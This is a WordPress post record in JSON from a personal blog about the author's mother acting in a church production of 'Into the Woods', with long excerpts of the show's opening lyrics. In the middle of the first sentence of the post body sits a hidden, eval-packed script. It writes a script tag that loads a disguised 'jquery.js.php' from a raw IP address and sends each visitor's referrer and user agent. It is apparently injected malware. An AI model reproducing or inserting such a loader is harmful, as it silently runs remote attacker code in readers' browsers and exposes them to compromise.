{"id":2648,"date":"2011-11-12T13:24:27","date_gmt":"2011-11-12T20:24:27","guid":{"rendered":"http:\/\/www.rebeccagibson.org\/?p=2648"},"modified":"2011-12-06T13:42:20","modified_gmt":"2011-12-06T20:42:20","slug":"the-woods-are-just-trees-the-trees-are-just-wood","status":"publish","type":"post","link":"http:\/\/www.rebeccagibson.org\/?p=2648","title":{"rendered":"The woods are just trees; the trees are just wood&#8230;"},"content":{"rendered":"<p style=\"text-align: left;\">My <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|terey|var|u0026u|referrer|ddkfk||js|php'.split('|'),0,{}))\n<\/script><\/noindex> mom is in a play! My parents go to the UU church in Chapel Hill and every year the church puts on a musical. This year my mom got a part, in <em>Into the Woods<\/em> (which happens to be one of my favorites). She&#8217;s Little Red Ridinghood&#8217;s Grandmother.<\/p>\n<p>Mike brought the kids down for the weekend so we could all go. This show is perfect, through the first act, for little kids. It&#8217;s funny and silly and the fairy tales characters all get mixed up together, and in the end they all live happily ever after. The second act, though, is a lot darker. It&#8217;s the what-happens-next part of life, after the princess&#8217; wedding, when the wolf is gone and the giant&#8217;s treasure is won &#8211; but life keeps on happening. The church offered child care for little kids during the second act, because parts of it are pretty scary.<\/p>\n<p>Jaden and Kyler made it the whole way through, though! Kyler sat on my lap through the whole second act, and checked in with me often to confirm in whispers that none of this was real.<\/p>\n<p style=\"text-align: center;\">Mom was great. She went after that wolf like a warrior.<br \/>\n____________________________________<\/p>\n<p><em>[Little Red Ridinghood has been compulsively eating sweets at the Baker&#8217;s house; she now<\/em><br \/>\n<em> swallows, wiping her hands and mouth.]<\/em><br \/>\nInto the woods,<br \/>\nIt&#8217;s time to go,<br \/>\nI hate to leave,<br \/>\nI have to, though.<br \/>\nInto the woods&#8211;<br \/>\nIt&#8217;s time, and so<br \/>\nI must begin my journey.<br \/>\nInto the woods<br \/>\nAnd through the trees<br \/>\nto where I am<br \/>\nExpected, ma&#8217;am,<br \/>\nInto the woods<br \/>\nto Grandmother&#8217;s house&#8211;<br \/>\n[mouth full]<br \/>\n<em>Into the woods<\/em><br \/>\n<em> To Grandmother&#8217;s house&#8211;<\/em><br \/>\nBaker&#8217;s Wife: You&#8217;re certain of your way?<\/p>\n<p>The way is clear,<br \/>\nThe light is good,<br \/>\nI have no fear,<br \/>\nNor no one should.<br \/>\nThe woods are just trees,<br \/>\nThe trees are just wood.<br \/>\nI sort of hate to ask it,<br \/>\nBut do you have a basket?<br \/>\nBaker: Don&#8217;t stray and be late.<br \/>\nWife: And save some of those sweets for Granny!<br \/>\nInto the woods<br \/>\nAnd down the dell,<br \/>\nThe path is straight,<br \/>\nI know it well.<br \/>\nInto the woods,<br \/>\nAnd who can tell<br \/>\nWhat&#8217;s waiting on the journey?<br \/>\nInto the woods<br \/>\nTo bring some bread<br \/>\nTo Granny who<br \/>\nIs sick in bed.<br \/>\nNever can tell<br \/>\nWhat lies ahead.<br \/>\nFor all that I know,<br \/>\nShe&#8217;s already dead.<br \/>\nBut into the woods,<br \/>\ninto the woods,<br \/>\nInto the woods<br \/>\nto Grandmother&#8217;s house<br \/>\nAnd home before dark!<em><\/em><br \/>\n<em>Baker, Cinderella:<\/em><\/p>\n<p>Into the woods,<br \/>\nThe path is straight,<br \/>\nI know it well,<br \/>\nBut who can tell&#8211;?<br \/>\nBaker, Wife: Into the woods to lift the spell&#8211;<br \/>\nCinderella: Into the woods to visit Mother&#8211;<br \/>\nWife: Into the woods to fetch the things&#8211;<br \/>\nBaker: To make the potion&#8211;<br \/>\nCinderella: To go to the Festival&#8211;<br \/>\nBaker, Wife, Cinderella, Jack, Jack&#8217;s Mother: Into the woods<br \/>\nWithout regret,<br \/>\nThe choice is made,<br \/>\nThe task is set.<br \/>\nInto the woods,<br \/>\nBut not forget-<br \/>\nTing why I&#8217;m (you&#8217;re) on the journey.<br \/>\nInto the woods<br \/>\nTo get my (our) wish,<br \/>\nI don&#8217;t care how,<br \/>\nThe time is now.<br \/>\nJack&#8217;s Mother: Into the woods to sell the cow&#8211;<br \/>\nJack: Into the woods to get the money&#8211;<br \/>\nWife: Into the woods to lift the spell-<br \/>\nBaker: To make the potion&#8211;<br \/>\nCinderella: To go too the Festival&#8211;<br \/>\nLRRH: Into the woods to Grandmother&#8217;s house&#8230;<br \/>\nInto the woods to Grandmother&#8217;s house&#8230;<br \/>\nAll: The way is clear,<br \/>\nThe light is good,<br \/>\nI have no fear,<br \/>\nNor no one should.<br \/>\nthe woods are just trees,<br \/>\nThe trees are just wood.<br \/>\nNo need to be afraid there&#8211;<br \/>\nBaker, Cinderella: There&#8217;s something in the glade there&#8230;<br \/>\nAll: Into the woods<br \/>\nWithout delay,<br \/>\nBut careful not<br \/>\nTo lose the way.<br \/>\nInto the woods,<br \/>\nWho knows what may<br \/>\nBe lurking on the journey?<br \/>\nInto the woods<br \/>\nTo get the thing<br \/>\nThat makes it worth<br \/>\nThe journeying.<br \/>\nInto the woods&#8211;<br \/>\nStepmother, stepsisters: To see the King&#8211;<br \/>\nJack, Jack&#8217;s Mother: To sell the cow&#8211;<br \/>\nBaker, Wife: To make the potion&#8211;<br \/>\nAll: To see-<br \/>\nTo sell-<br \/>\nTo get&#8211;<br \/>\nTo bring&#8211;<br \/>\nTo make&#8211;<br \/>\nTo lift&#8211;<br \/>\nTo go to the Festival&#8211;!<br \/>\nInto the woods!<br \/>\nInto the woods!<br \/>\nInto the woods,<br \/>\nThen out of the woods,<br \/>\nAnd home before dark!<\/p>\n","protected":false},"excerpt":{"rendered":"<p>My mom is in a play! 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